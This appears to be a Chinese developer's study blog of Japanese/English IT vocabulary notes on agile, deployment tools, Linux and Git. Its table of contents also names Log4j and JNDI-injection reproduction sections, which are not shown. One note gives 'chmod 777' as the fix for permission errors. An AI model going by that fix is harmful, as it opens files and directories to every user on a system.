目录
■常用链接
■2020/03/15 (最初整理 242个单词)
2020 6/28 整理
2020 6/29 整理
2020 7/6 整理
■2020 7/23 整理
■2020/10/07 以降整理
■2020/11/02 以降整理
■2020/12/04 以降整理
■2020/12/14以降整理
■2021/01/01以降整理
■2021/02/22以降整理
■匿名内部类,lambda表达式,JDK7新特性,等等java相关
■2021/03/18以降整理
Linux系统性能 相关
■其他各种单词,知识(linux awk sed)
■网络相关
■2021/03/29以降整理
■2021/4/1以降整理
■2021/5/1以降整理
■2021/5/14以降整理
■2021/6/1以降整理
■2021/7/7以降整理
■2021/7/23以降整理
■2021/8/14以降整理(Java 学习)
■2021/9/1以降整理
■2021/9/13以降整理
■2021/10/06以降整理 (5G , SpringBoot)
5G
SpringBoot
■2021/11/06以降整理
HULFT
Git
GitHub
■2021/11/29以降整理
21.日语学习的三个方面
23.SLF4J(Simple logging Facade for Java) // 简单日志门面
25.(log4j2)漏洞-----------------------Start
26.JNDI 注入代码实现(RMI) --------Start
27.javax.naming.Reference // 构造方法
28.SimpleHTTPServer // (Python)快速共享目录
29.RMI的利用版本限制
36.Java不信任RMI的URL再次出错、解决、客户端(被攻击者)打开计算机成功
JNDI注入,再现具体操作
42.CVE-2021-44228 Impact of Log4j Vulnerability CVE-2021-44228
■2022/12/23以降整理
03. Git Merge 失败 // Eclipse中失败
■2022/01/01以降整理
・spring AOP
18.事务
■2021/7/23~2021/10/05之间(纯单词)
■2021/10/06~2021/11/28之间(纯单词)
■2021/11/29 ~2022/01/05之间(纯单词)
■2022/01/06以降
17.Java 23种设计模式
18.【代理模式】与【装饰者模式】区别
21.【Runnable、Future、FutureTask】继承关系【继承关系图】
23.【Runnable、Callable】与【ThreadPoolExecutor、ScheduledThreadPoolExecutor】 与【ExcutorService】
36.spring自动配置机制——spring.factories
@import
@EnableAutoConfiguration
@EnableAspectJAutoProxy
39.任何一个类只要没有成员变量,就是线程安全的
42.【Spring中这两个核心思想」都是一种设计模式(工厂,代理)
代理
51. AOP术语总结
■2022/01/06 至 2022/01/30之间整理 (纯单词)
■2022/02/01以降
■2022/02/23 以降整理
spring 学习 官网链接
Spring组件注册方式等相关内容
22.服务器配置相关
■2022/03/07 以降整理
12.MsgBox能不能自定义按钮名称?
■2022/02/01 至 2022/03/27之间整理 (纯单词)
■2022/03/28 以降
0.0.常用bat命令
常用 doc bat 命令总结_sun0322-CSDN博客
・Linux
Unix_Linux_常用命令总结_sun0322-CSDN博客
0.0.日语歌曲
https://blog.csdn.net/sxzlc/article/details/112185572
・java
命令行,使用java的java 命令,直接调用执行class文件_sun0322-CSDN博客_java 运行class文件
Java学习(更新中)_sun0322-CSDN博客
・Spring
SpringBoot + MyBatis 之 Hello World_sun0322-CSDN博客
Spring Boot,Sprint Batch 学习_sun0322-CSDN博客
SFDC
外部系统连接SFDC,获取SFDC侧的数据_sun0322-CSDN博客
■沪江日语
在线翻译_英语_日语_多语种翻译_沪江小D在线词典
■IT日语词典
「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
0.0.日本の県名 (与技术无关,只能设置为私密)
https://blog.csdn.net/sxzlc/article/details/105171503
0.2.常用单词总结之—个数 日期 月份(日语,英语) (与技术无关,只能设置为私密)
https://blog.csdn.net/sxzlc/article/details/105319482
0.3.柔らかいコミュニケーション
工作方式 柔らかいコミュニケーション_sun0322-CSDN博客
0.4.数字の計算関連 (与技术无关,只能设置为私密)
https://blog.csdn.net/sxzlc/article/details/105408517
0.5.SQL関連の用語
SQL日语词汇 - fqzhang - 博客园
06.各种分类 (私密)
https://blog.csdn.net/sxzlc/article/details/108765747
07.形容动词的用法 (私密)
https://blog.csdn.net/sxzlc/article/details/108972442
08.格助词「を」「は」「が」 (私密)
https://blog.csdn.net/sxzlc/article/details/108973940
----------
0.CWE 脆弱性分析
代码安全_弱点(脆弱性)分析 CWE_20200807_sun0322-CSDN博客
1.エイリアス
alias 别名 powershell使用 get-help 命令时,会得到与此命令 相关(别名)的命令
シノニム(同义词)
2.プロキシ proxy 代 理
3.プロモート
promote 促进,提升
开发的系统新功能上线发布,有时会使用到这个词,比如 STプロモート
还有使用リリース这个词的。比如STリリース。个人认为两者含义相同。
4.見逃し みのがし 看漏
5.フリガナ 注音假名 Excel 中有此功能 在 Excel 的 Home(ホーム)タブ中
6.ハッシュ(MD5、SHA1、SHA256) アルゴリズム
hash algorithm 算法 [ˈælɡəˌrɪðəm]
ls -recurse -file | Get-FileHash -Algorithm MD5| Format-List powershell查看文件信息摘要时,会出现这个单词
// 对于MD5 ,日本人一般说 MD five (也许英文和数字组合时,数字部分他们喜欢使用英语)
查看文件信息摘要_sun0322-CSDN博客_怎么看文件摘要
// 十六进制
Format-Hex -path ./yourFileName
// Hash
Get-FileHash -path ./yourFileName
7.インテレーション
Interation 迭代 アジャイル開発時、常に使用
8.MVP :Minimum Viale Product アジャイル開発関連の定義 (开发团队提供最小化可行性产品)
お客様様に、速めに価値を提供するために、MVPを提供しながら続き改善を行う。
9.デプロイ deploy 系统发布 (STリリース、STプロモート、STデプロイ)
10.やむを得ない 处于无奈,不得不。有时为了实现客户提出的要求,不得不采取某些方案
11.プラスティス 实践,实施
12.オーダー 顺序。 有时日本人不和你说 优先对应什么的,
当两个作业需要连续对应,并且之间有相关联关系的时候,他们使用这个词。
13.トレーサビリティ traceability 跟踪性
要件トレーサビリティ (要件是否都反映到SRD中)
各QAのトレーサビリティ(QA是否都反映到SRD中、Build・UT、ST)
14.フィージビリティー feasibility 可行性
フィージビリティ確認 (有的时候,要确认用户提出的需求,在技术上能否实现)
15.ユーザビリティ 可用性 (IT用语,人机交互中的可用性。)
我们在给用户提出解决方案的时候,要考虑 可用性。
16.見込み みこみ 预计 预估
17.コマンドプロンプト command prompt 命令行提示符
18.デマンド demand 要求
19.リスケ (リスケジュール の 略)
20.網羅 もうら
21.競合 きょうごう
22.脆弱性 ぜいじゃくせい CWE Common Weakness Enumeration
CWE(Common Weakness Enumeration,通用缺陷枚举)。是由美国国土安全部国家计算机安全部门资助的软件安全战略性项目。
CWE成立于2006年,建立之初分别借鉴了来自CVE(“Common Vulnerabilities & Exposures”公共漏洞和暴露)
CLASP(Comprehensive Lightweight Application Security Process,全面轻量级应用安全过程)等组织对缺陷概念描述和缺陷分类。
CVE(“Common Vulnerabilities & Exposures”公共漏洞和暴露) [ɪkˈspəʊʒə]
Exposures n. 暴露;揭露;陈列;曝光
23.攻撃 こうげき
24.インジェクション injection 注入
25.ディレクトリ トラバーサル directory traversal 目录遍历
26.アルファベット alphabet 字母表
27.チャット chat 聊天
28.雑音 ざつおん ノイズ(杂音,噪音)
29.チャート 图表(グラフ)
30.末尾 まつび
31.枯渇 こかつ XX番号枯渇
32.フェーズ phase 时期,开发过程中的阶段
33.簡略化 かんりゃくか
エビデンスの作成を簡略化になる
34.インストーラ 电脑软件的安装程序
35.退避 たいひ データを退避する。/数据保存
36.後回し 推迟,往后推,缓办
優先順位が低いものは後回しだ
37.V字モデル ウォーターフォールモデル 瀑布开发中,的V字模型
扩展 W字模型
软件测试的W模型和V模型_小心眼儿猫的博客-CSDN博客_软件测试w模型
软件开发中的V字模型与W模型(使开发与侧试分离)_sun0322-CSDN博客
38.エクセレンス excellence 长处
100.スペシャリスト Specialist 专业人员,专家
101.ドラフト draft 草稿,草案
102.インフラ 公共基础设施 (比如,环境的磁盘大小)
103.マスキング masking 遮蔽,屏蔽 (比如,帳票中,****** 一些敏感信息,不显示)
104.マスク mask 口罩
105.こめじるし 米印 記号:「※」
106.ジェネリック generic 泛型 (java);一般的,通用的(其他含义)
107.かしらもじ 頭文字
頭のアルファベット3文字 (比如,番号 ABBXXXX,ABCXXXX)
108.マトリックス matrix 矩阵
109.モデル model 模型
(比如,V-model)
110.モジュール module 模块,组件
111.モード mode 模式,方式
112.悲観 (ひかん) Lock ; Pessimistic
113.楽観 (らっかん)Lock ; Optimistic Locking オプティミスティック・ロック
114.PT pressure test 压力测试 (一般,压力测试,多用户同时操作时,会触发锁的问题)
115.目途 もくと 目标 // 目途 めど (两种读法,意思相同)
116.バックログ backlog 敏捷开发中的代办列表
117.ごこく 後刻 (例、後刻確認します。)
118.のちほど 後程 (例、後程確認します。)
119.清音 せいおん (あ い う 。。。)
120.濁音 だくおん (が、だ、ば 。。。)
半濁音 (はんだくおん) (ぽ、ぴ、ぷ)
semi - voiced sound
121.拗音 ようおん 「い」段假名 和 复元音 や、ゆ、よ 拼起来
122.箇所 かしょ 处。个。用于计算地方、部分时的量词
123.はいけいしょく 背景色(しょく)
124.ツリー tree
125.phish 钓鱼网站的钓鱼行为
126.secure 安全的
shell 壳 (用于区别核) 为使用者提供操作界面的软件
ssh secure shell
127.OEM 原始设备制造商 Original Equipment Manufacturer
128.ウィザード wizards 术士,男巫;先导,天才;
excel 中,导入csv的数据,使用「テキストファイル ウィザード」
129.Hex Hexadecimal 十六进制 a=0x1A // 开头是数字0
130.Dec Decimal 十进制 a =10
131.Oct Octal 八进制 a=012 // 开头是数字0
132.Binary
133.recurse 递归
powershell 中 ls -recurse -file | get-filehash
134.resource
135.source 出处;来源;
source code ソースコード 源代码
136.course 进程;课程
137.traversal 遍历
138. ロックアウト lockout; 关在门外,不许进来
IT:DB2用户被lock时,アカウントのロックアウト
139.掲題 けいだい メールについて件名を目指す
掲題の件について、ご確認させてください。(命令形,适用于甲方使用)
140.直前 ちょくぜん 即将。。。之前
出発直前に病気で倒れた。
141.恒久 こうきゅう
142.大まか おおまか 粗略,草率,大大咧咧
Samba AMB に対して、
大まかに言うと、UNIXサーバーをWindowsたおファイル共有可能なサーバーとする機能のことです。
143.メインフレーム 主机,大机 (Main Frame) ⇒ IBM大型机
COBOL
144.気にする 介意,担心
145.気づく 注意到,察觉
146.気がする 心里感到,好像,总觉得
147.EUC 一种文字编码
Extended Unix Code
148. EUC-JP
日文半角假名占用2个字节 chcp 20932
Unix ,Linux ,Solairs(Sun ) 中使用的文字编码
Shift-JIS 日文半角假名占用1个字节 (0xA1 ~ 0xDF)
149.MAC Macintosh 麦金塔电脑 (苹果)
150.KLOC 千行代码 Kilometer Lines Of Code
151.KPI 关键绩效指标 (根据KLOC和Bug数来计算) Key PerFormance Indicator
152.抜け漏れ ぬけもれ (手落ち ておち) 疏漏,遗漏
153.Stage 阶段 (Stage1, Stage2, Stage3) ステージ
154.ステージング 演出,舞台 staging
155.测试环境分类,测试分类,设计书分类
UT (DD) ⇒ IT(Integration )(HLD(ED)) ⇒ ST(System) (SRD)
⇒ STG (staging 本番同等环境 ) でUAT(User Acceptance)(URD) ⇒ 本番
integrated 综合的,集成的
Integration 综合,集成
disaster 灾害 災害環境(さいがい) 紧急情况下,使用此环境
product 产品 本番環境
156.自粛 じしゅく 自己克制
157.自律 じりつ
158.特則 とくそく
159.喫煙 きつえん
股票
---
160.Puchase 购买
161.Withdarw 撤销
162.Enroll 参加,登记
163.fracional 分数的,小数的
164.shares 股份 // stock 股票,股份
165.refunded 归还
borker n. 经纪人,代理商
个人链接(私密)
https://blog.csdn.net/sxzlc/article/details/108571696
// morgan 摩根
---
166. つゆ ばいう 梅雨
167. 五月雨 さみだれ
168.インストーラ 安装程序
169.Delivery 投递,传送,交付,转让
170.Appendix 附录 付録 ふろく
[əˈpɛndɪks]
171.御中 おんちゅう
。。。收;。。。公启;(郵便物など) A社御中
172.プロバイダー Provider 接入商 (Eclipse plugin 中可以经常看到,插件的 Provider)
173.下旬 げじゅん ;中旬 ちゅうじゅん; 上旬 じょうじゅん
174.ペーパレス paperless 无纸化 ;无纸传输信息
175.アソシエイツ associate 合伙人 募集人
176. wechate ウィーチャット
177.貸出 かしだし 仕様書貸出
178.内訳 うちわけ :明細 めいさい
(使用明细的比较多,和日方说 内訳、他没有理解我的意思)
179.クレジットカード 信用卡
180.とは言え 虽然那么说,尽管那样
---
201.DPI 水平方向解析度 (没一英寸有多少个 像素点 一英寸 2.54厘米)
202.Threshold
境界値 きょうかいち (競合 きょうごう)
203.イーサネット Ethernet 以太网
204.アダプター adapter 适配器
205.アシスタント assistant 助手
(邮件 日程计划中 スケジュール アシスタント)
206.手軽 てがる
207.初耳 はつみみ
208.サスペンド suspend 挂起 // hanging-up
209.呼称 こしょう
以後(いご)は「XXX」とこしょう
210.内訳 うちわけ
211.白黒閾値
Threshold 边界
212.protocol プロトコル 协议
213.vertical 垂直的
vlookup hlookup
214.horizontal 水平的
215.簡潔 かんけつ
216.omit 省略 しょうりゃく
217.滞留 たいりゅう
218.蓄積 ちくせき
219.重み 权重
220.モジュラス 模数
最后一位,check位 チェックデジット
221.マイナー 小的
222.メジャー major 大的
223.定める さだめる 选定,决定
224.カテル 诊断记录,病例
225.桁埋め 电文中,不足的位数,补位操作
226.逼迫 ひっぱく
227.帯 おび
緑の帯内の文字表示について、
228.のびる 伸びる 延びる
延伸 えんしん;時間や距離などをのばすこと。または、延びること
229.に沿って にそって
230.データをパンチする。 导入数据
231.棚卸し たなおろし 盘点
232.取り直す とりなおす 修正后在做某事
233.パーミッション permission 许可
Linux 系统中, Permission Denied ;没有访问权限后,chmod 777
許可がありません。
denied [dɪˈnaɪd] She denied the accusations. 她否认了这些指控。
deny [di'nai] v. 否定,否认;拒绝给予;节制;戒绝;不承认
・オーナー
・グループ
・権限 777 (750 755)文件夹 (644 640)文件
目录权限已经是744 其他用户仍不能访问目录 ↓
Unix_Linux_常用命令总结_sun0322-CSDN博客
234.denied 否认,拒绝
235.予め あらかじめ
236.アーキ アーキテクチャ 建筑,结构 architecture
软件开发中,一般指环境构建。
アーキチーム;一般指,环境基盘组。
237.AI 人工智能
Artificial 人造的 Intelligent 智能的
[ˌɑːtɪˈfɪʃəl] [ɪnˈtɛlədʒənt]
238.スレッド Thread 线程
239.defect 缺陷
エントリー不正、フセンリスト
240.normal 正常的,标准的
241.昇順 しょうじゅん
242.降順 こうじゅん
---
1.ロードバラン 负载平衡
2.エントリー 登记,登记册;申请报名
entry 入场,入口
3.ベリファイ 检证器
// validator 英 [ˈvælɪdeɪtə]
// 验证控件; 验证器; 校验器; 验证; 验证程序;
Linux 认证 , 两个文件的MD5 对比校验
4.Repository リポジトリ 或者 レポジトリ
maven,git
5.Elastic
[iˈlæstɪk] 灵活的
Sorter (从事分类的人,把东西分类拣选的人,整理者,分类程序,分类机)
6.Jenkins
块(blocks{})
由大括号括起来的语句,如pipeline{},Section{},parameters{},script{}
章节(Sections)
通常包含一个或多个指令或步骤。如 agent 、post、stages、steps
指令(Directives)
environment、options、parameters、triggers(触发)、stage、tools、when
步骤(Steps)
Pipeline steps reference
执行脚本式pipeline:使用script{}
7.タイムチャート 时间图
8.コンティンジェンシー 略称 コンチ
contingency ;意外事故,意外事件,突发状况,偶然。
9.exclusions 排除; maven pom 引用jar时
10.excludes 不包括;maven pom 根据prefile 指定不同环境的配置文件时
exclude [ɪkˈskluːd]
11.executions 执行; maven pom 执行打包命令 中的 plugin 中使用
12.classifying 分类 [ˈklæsɪfaɪɪŋ] v. 将…分类; 将…归类; 划分; 界定;
13.yml (Spring 配置文件(key: value),可以分层)
java 中 使用 @Value("{key}")
java 中 使用 @Value("{key1.key2.key3}")
SpringBoot配置-读取 .yml配置文件_总该长大了的博客-CSDN博客_springboot读取yml配置文件
14.RestTemplate (Spring 发送http请求)
15.lambda [ˈlæmdə]
希腊字母表的第11个字母 (Lambda一般指λ。希腊字母表中排序第十一位的字母,大写为Λ)
Java 8 Lambda 表达式 Java 8 新特性
Java8 Lambda表达式教程_io-CSDN博客_java lambda表达式
java8之lambda表达式_xiaoye的博客-CSDN博客_java8 lambda
16.parameter是形参,体现在函数定义中,当出现在整个函数内都是可以使用的, 要是离开该函数则不能使用
17.argument是实参,体现在主调函数中,当进入被调函数后,实参变量也不能使用
比如,mysql -u
后面不写,root
出错误提示 option -‘u' requires an argument
18.置き おき
每间隔,每隔。(時間、距離、数量などを表す語に付いて、それだけの間隔をおくことを表す語。)
バッチ起動 08:00~23:00 ※1分おき
日間 9:00~23:30 30分/1回 28回
1日置きに風呂に入る
この薬は4時間置きに呑みます
19.launch 发射,发行
eclipse中,配置「事項構成」保存后,文件的后缀是 .launch
// 此文件 在 工程的 【.settings】目录下面
Maven中的pom.properties文件_sun0322-CSDN博客
20. 数据库相关
・トリガー : trigger
・スキーマ: schema
・プロシージャ : procedure
・ビュー :view
21.仕分け 区分,分类
・sort n. 种类,类型;人 v. 将事物分类
区别・sorting n.排序 v. 将事物分类(sort的现在分词)
・メールの【仕分けルール】
22. 振り分け 分开;分成两个 (振分)
分割 (ぶんかつ)
23.差し替え (差替) // replacement
(印刷)校样改错,改版。
(活版組版で、校正の指定に従って、組版の誤植や組み違いを正すため活字の取り替え)
24. RPA “Robotic Process Automation”
机器人流程自动化
25.OCR (Optical Character Recognition,光学字符识别)
・Optical [ˈɑptɪkəl] 眼睛的,视觉的;光学的
・Recognition [ˌrɛkəgˈnɪʃən] 认出,识别;
26. ServiceNow
ServiceNow主要模块介绍_weixin_34380948的博客-CSDN博客
Looking for a workflow automation or BPM suite。
27.表裏 おもてうら
28. 表 おもて (表面,面儿,正面;外表,外观;)
29.国慶節 こっけいせつ
30. delimiter 定界符
${XXX} @XXX@
POM 环境差异文件 SpringBoot true
在 命令行 (cmd)执行 Maven命令,对java工程进行打包 操作 (指定settings.xml)_sun0322-CSDN博客_libjansi.jnilib
・mysql中也有此关键字
命令行下,Mysql、Postgre的一些基本操作_sun0322-CSDN博客_postgre
・bat中也有此关键字:delims
for /f "delims=" %%i in ('dir /b /s %inputdir%\*.txt') do xcopy /Y %%i %outputdir%
---
for /f "tokens=5 delims=\\" %%I in ('dir /b /s C:\test\temp\*66.txt') do echo %%I
---
31.リグレッションテスト 回帰テスト
32. レトロ マージ 競合(きょうごう) GIT
33. 随時 (ずいじ)
XXXX資料 ※随時更新 // 文档记述时, 红字部分,比前面的字,小一个字号,效果更佳
// 日文中, 有「随時更新」这种说法
34. 迷惑 めいわく
人に迷惑をかける。
给别人添麻烦
35.困惑 こんわく
困惑,不知如何是好,为难。
困って(こまって)
36. に近づく にちかづく 靠近
人数は100万人に近づている。 人数正在接近100万人。
37.鴨 かも 野鸭
38. アヒル 鸭子
39.鷗 かもめ
40. Assurance [əˈʃʊərəns] 保证,担保;确信;断言;保险;
41.意図 いと // 不是 いず
42.マルチ
【接头】multi-;表示多、各种各样、复数之意。
マルチデバイス (多浏览器)
43.コンテキスト (context)上下文,文章的前后关系,文脉.上下文,文章的前后关系,文脉
44.mysql (my.ini my.cnf /etc/my.cnf)
server-id = 1 // ロードバラン
datadir = /XXX/XX/mysql/data
45.世代 せだい
46.日報 にっぽう
47.オンプレミス環境 on premise environment 前提环境
48.シノニム
Oracle数据库 【SYNONYM 同义词 シノニム】_sun0322-CSDN博客_シノニム
oracle,mysql 别名(同义词) ;SYNONYM 同义词 シノニム
エイリアス 别名
49.word wrap
自动换行 : notepad2 中有此设置; css 中也有此设置
0. 噛み合う かみあう 一致,吻合
噛む かむ 咬
1.assembly 与会者;集会;议会;配件 maven中的插件 可以把资源直接生成zip
Maven的帮助文档ー查看各个插件的作用--- 【maven-assembly-plugin】_sun0322-CSDN博客
2.dictionary 字典 [ˈdɪkʃənərɪ] // 辞書 じしょ //ディクショナリー
VBA中有,XL Deploy Tool中也有相关定义
VBA中 各种数据类型的使用(自定义数据类型Type,数组,数据字典)_sun0322-CSDN博客
3.Environment [ɪnˈvaɪrənmənt] 环境
4.インビテーション 招待、邀请; invitation 电话会议时,邀请对方
5.distribution [ˌdɪstrɪˈbjuːʃn]
分配; 分布; 分发; 分送; (商品) 运销,经销,分销;
Distribution 是 Docker 的工具包,它可以打包、运输、储存、发送内容。
6.推奨 すいしょう 推荐 非推奨 ひすいしょう
7.齟齬 そご 不一致 認識齟齬がない
8.満たす
以下条件のうちいずれかを満たす場合、
9.具体的には
具体的なこと
10.極小化 きょくしょうか
XXXとなるケースを極小化する必要がある
11.出し分け // 没有这个词 条件によって表示する。(分岐がある)
12.infrastructure [ˈɪnfrəˌstrʌktʃə] インフラストラクチャ
インフラ 基础设施;基础建设
13. Credential n. 证书;凭据;国书;信任状 英 [krɪˈdɛnʃəl] クレデンシャル //XL Deploy ツール
↑ 不同的单词 Certificate Authority HTTPS 中的CA证书 证明,证书 英 [səˈtɪfɪkɪt; səˈtɪfɪˌkeɪt]
14. authority n. 权力;行政管理机构;当局;当权者; [ɔːˈθɒrɪtɪ]
15.グルーピング
【他动・三类】【英】grouping ;分组(类);编组。(組分けすること。配置すること。)
16.コンポーネント component
成分;部件;构件;组件(構成要素。構成部品)。
17.deployment n. 部署,调度
deploy v. 使展开;部署;利用 デプロイ
18. 图形用户界面(Graphical User Interface)
19.cluster クラスター (群,簇;区 ,扇区。)
Web Sphere (WAS) 中的定义
Java中的System.getProperty()设置参数的方法_sun0322-CSDN博客
20.における (表示时间、地点等)在,于,在……的。
((連体修飾語として用いて)動作・作用の行われる場所・時間などを表す。
海外における諸情勢
在学中における成績
21.命名 めいめい
ネーミング naming
22.Orchestrator 组织者,策划人
23.dependency 依赖
24.resolution 分解,解析;
25. archive アーカイブ 档案馆,档案库;档案文件 [ˈɑːkaɪv] // jar
26. 型 かた 種類 XXX(war,file,archive) 型資材
かたち 形
27.冪等性 べきとうせい
28.ループ loop 循环
29.グルーピング 分组 組み分け くみわけ
30.Duplicate 复制品;重复 [ˈdjuːplɪkɪt; ˈdjuːplɪˌkeɪt] // XL Deploy 复制项目;// 数据库,不能重复的字段重复
31.確率 かくりつ 概率
頻度 ひんど
32.AWS 亚马逊 云服务
33.VGA 显示器接口 (15针)
・DVI (24针)
・HDMI
・DP (有一边是直角)
34.蜜蜂 みつばち
35.蜂蜜 はちみつ
36.峯岸 峰岸 みねぎし
37.トンボ 蜻蜓
38.スクロール 滚动显示
39.デカルト積 (Descartes product)
假设集合 A={a,b},集合 B={0,1,2},则两 个集合的笛卡尔积为{(a,0),(a,1),(a,2),(b,0),(b,1), (b,2)}。
積 せき 3かける3の積(せき) 面積 体積 容積
https://blog.csdn.net/sxzlc/article/details/105408517
Excel 公式
PRODUCT(A1,B1,C1)乘法运算
PRODUCT (n. 产品;产物;结果;乘积;生成物)
40.指数 しすう
41.adjustment [əˈdʒʌstmənt] 调整 调节
42.懸念 けねん xuannian
43.懸賞 けんしょう
44.経験 けいけん
45. Authorization: Basic U2h1c2hlbmcwMDcldUZGMUFzczAwNw==
秒懂HTTP之基本认证(Basic Authentication)_ShuSheng007的程序人生-CSDN博客
假设我的用户名为Shusheng007,
密码为ss007
那么我的Basic的内容为
Shusheng007:ss007
对应的base64 编码内容U2h1c2hlbmcwMDc6c3MwMDc=
// 冒号应该是半角冒号「:」
在线加密解密
↑ base64编码转换
・input
Shusheng007:ss007
・output
U2h1c2hlbmcwMDc6c3MwMDc=
curl -u
-u参数用来设置服务器认证的用户名和密码
curl -u 'bob:12345' https://google.com/login
上面命令设置用户名为bob,密码为12345,
然后将其转为 HTTP 标头Authorization: Basic Ym9iOjEyMzQ1
46. encrypt [ɪnˈkrɪpt]
v. 把…加密(或编码)
47.障害
今後漏れが検知されば場合に障害等の扱いにはしたくない。
// 扱い (操作,处理; 对待)
// 障害等 しょうがいとう
48.差分 さぶん
ファイルやプログラムなどの、
変更前と変更後の違いのことをいう。
プログラムの修正などでは修正分のことを指す。
49.はんざつ 煩雑
50.tag タグ (tags) tag 比较常用 【タグ】
・Git 关联 : 在 HIstory(提交履历)中,右键履历,选择【タグの作成】
・GitHub 关联:登录GitHub网页版,选择一个【Repositories】
⇒【releases】
⇒【Releases|Tags】
・GitHub 关联:GitHub提供的 WebAPI 中,有 tag的指定
・XL Deploy ツール:有关于 tags的指定
51.tab タブ
// Tab 是 tabulator 的缩写,有制表的含义;tag指标记;标签。
// Tag 范围比较广泛,可以指吊牌,品牌宣传,衣料说明,价格标之类,而tab往往指图形标签。
52.ちゃう 「てしまう」の略語
53.しまう ①完了,结束。②整理收拾
てしまう。①完了,尽了,表示动作的完了就,结束。②表示某事的非志愿发生
54.眼差し まなざし 眼光,眼神
55.目覚まし めざまし ①叫醒 ②闹钟
56.マウント mount 挂载 // 文件系统的挂载
// Linux df -h Mounted on | マウント位置
Linux下,mount挂载的作用,就是将一个设备(通常是存储设备)挂接到一个已存在的目录上。
访问这个目录就是访问该存储设备。
/dev/mapper/xxxx_lv サイズ 使用 残り 使用% /DATA/AAA/BBB
---
lv 代表磁盘卷的意思
logical volume
---
访问 /DATA/AAA/BBB 这个目录,就相当于访问存储设备【/dev/mapper/xxxx_lv】
// Docker 挂载
57.escape character 转义字符
echo \"AAA\",\"BBB\" > test.txt
"AAA","BBB"
58.テレカン //虽然字典中找不到,但是,实际存在这个词
telephone conference 电话会议的意思
59.Windows 三种文件系统:NTFS、FAT32、FAT16
60.Linux 文件系统 「XFS filesystem」
file -s /dev/sda1
61.プラチナ 铂金
62.回復 身体恢复 // 不使用 恢复
63.ゾーン zone 区域 地带
64.ファイヤーウォール firewall 略称 FW 防火墙
65.圧縮 あっしゅく 解凍 かいとう
66.サマリー summary 摘要,概要
67.タイムスタンプ timestamp 时间戳
68.タイムゾーン time zone 时区
69.容器 コンテナ container | Tocmat WebSphere | Docker
70. digital 数字的 [ˈdɪdʒɪtəl] digital.ai
71. xebiaLabs XL Deploy
Digital.ai documentation | Intelligent Value Stream Management Platform
Digital.ai documentation | Intelligent Value Stream Management Platform
72. regex //XL Deploy ツール
正则表达式的简称 (= regular expression)
正規表現 [せいきひょうげん]
73. placeholder /ˈpleɪsˌhəʊldə/ 占位符 【数学;逻辑】 //XL Deploy ツール
74.hold ホールド
n. 控制;握住;保留
v. 拿住,握住;保留;保持不变,持续;约束,控制;拘留;容纳;持有;适用
A-AUTOバッチ管理ツール(HOLD之后,如何再次启动)_sun0322-CSDN博客
75. 下划线 underbar アンダーバー
76. 疑問符 ぎもんふ 问号
77. hyphen ハイフン 连字符
78.artifact /ˈɑːtɪˌfækt/ n. 手工艺品,加工品 //XL Deploy ツール
79.restrict [rɪˈstrɪkt] 限制,限定,约束,阻碍 V //XL Deploy ツール dictionary (restrict to containers/applications )
80.restriction [rɪˈstrɪkʃən] n. 限制;约束 //XL Deploy ツール dictionary
81. Entries 【计算机】输入项目 //XL Deploy ツール dictionary Key-value
entry 进入,入场
1.composite n.合成物,复合材料 ; adj 合成的,复合的; //XL Deploy ツール
2.シスコ cisco 思科
3.リハーサル 彩排
4.provision 提供 //XL Deploy ツール
5.ArtiFactory 代码库管理 (有好多种,比如 JFrog ArtiFactory)
DevOps使用到的工具・术语_sun0322-CSDN博客
6.asset 有价值的人或物,有利条件,优点;资产 [ˈæset] アセット // git hub
7.octet [ɔk'tet] 八位组,八比特组,八位字节
binary (application/octet-stream)
HTTP请求中,几种常见的Content-Type类型 - applezxy - 博客园
8.generate 产生;形成,引起 [ˈdʒɛnəˌreɪt]
generate token // git hub
( 用户 setting --- Developer settings ---- Personal access tokens)
9.Devops
DevOps(Development和Operations的组合词)
它是一种重视“软件开发人员(Dev)”和“IT运维技术人员(Ops)”之间沟通合作的文化
DevOps使用到的工具・术语_sun0322-CSDN博客
10.トークン token
11.レガシー 遗留软件
企業で長期間使用されたきたコンピューターソフトウエアで、高価なため維持が難しいが、業務上不可欠であるものをいう。)
// Excel の「ブックの共有(レガシ)」
怎么解决EXCEL 共享变成灰色的“取消共享工作簿”_fanxin_i的博客-CSDN博客
12.wave 波浪
13.立ち上げ
(电脑、程序)启动;成立、设立。
TeraTermは同時に2画面立ち上げ // 同时启动两个 TeraTerm
14.slash [slæʃ] // maven assembly (starting with slash) /
Maven打包ERROR OS=Windows and the assembly descriptor contains a *nix-specific root-relative-reference_刘德华一不小心就打代码的博客-CSDN博客
// n. 砍;砍痕,伤痕;斜杠;斜线号;沼泽低地;削减
https://www.cnblogs.com/softidea/p/4186090.html
The working solution is to specify the empty outputDirectory:
${basedir}/src/main/resources
×:/
15.占有 せんゆう XXX環境を占有させて頂くたく思います。 XX環境占用のお知らせ
× 占用 せんよう
16.拠点 きょてん
17.established [ɪˈstæblɪʃt] 已确立的,确定的 // netstat -ano | find ".XX(IP)" 访问网址的URL后,立即执行该命令
・CLOSE_WAIT 访问网址的URL后,等一段时间,再执行该命令
再等 一段时间之后,什么都不显示了
URL 如果是 https的话, 端口号为 443
HTTPS、HTTPS、SSH、MSTSC等常用网络服务的端口号_sun0322-CSDN博客_mstsc 端口
18.response レスポンス
19.ssh:notty
“ Notty”一词仅表示“ no tty”,大致翻译为“ no terminal”。
当您本地登录到任何Linux计算机时,终端将始终在进程列表中显示为“ tty”。
如果通过SFTP建立了连接,或者您正在使用SCP复制文件,那么它将显示为tty(notty)。
tty一词源于Teletypes,或者teletypewriters,原来指的是电传打字机(发送信息的东西),后来这东西被键盘与显示器取代,
所以现在叫终端比较合适。
但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty)
pts(pseudo-terminal slave)是pty的实现方法,与ptmx(pseudo-terminal master)配合使用实现pty。
・上面的 pst/1 pst/2 是,使用TeraTerm 分别使用两个用户连接后的效果
・tty1是,虚拟机启动后,控制台登陆的效果
4.控制台终端(/dev/ttyn, /dev/console)
在Linux 系统中,计算机显示器通常被称为控制台终端(Console)。
它仿真了类型为Linux的一种终端(TERM=Linux),
并且有一些设备特殊文件与之相关联:tty0、tty1、tty2等。
当你在控制台上登录时,使用的是tty1。
使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、 tty3等上面去。tty1 –tty6等称为虚拟终端,
而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上。
因此不管当前正在使用哪个虚拟终端,系统信息都会发送到控制台终端上。
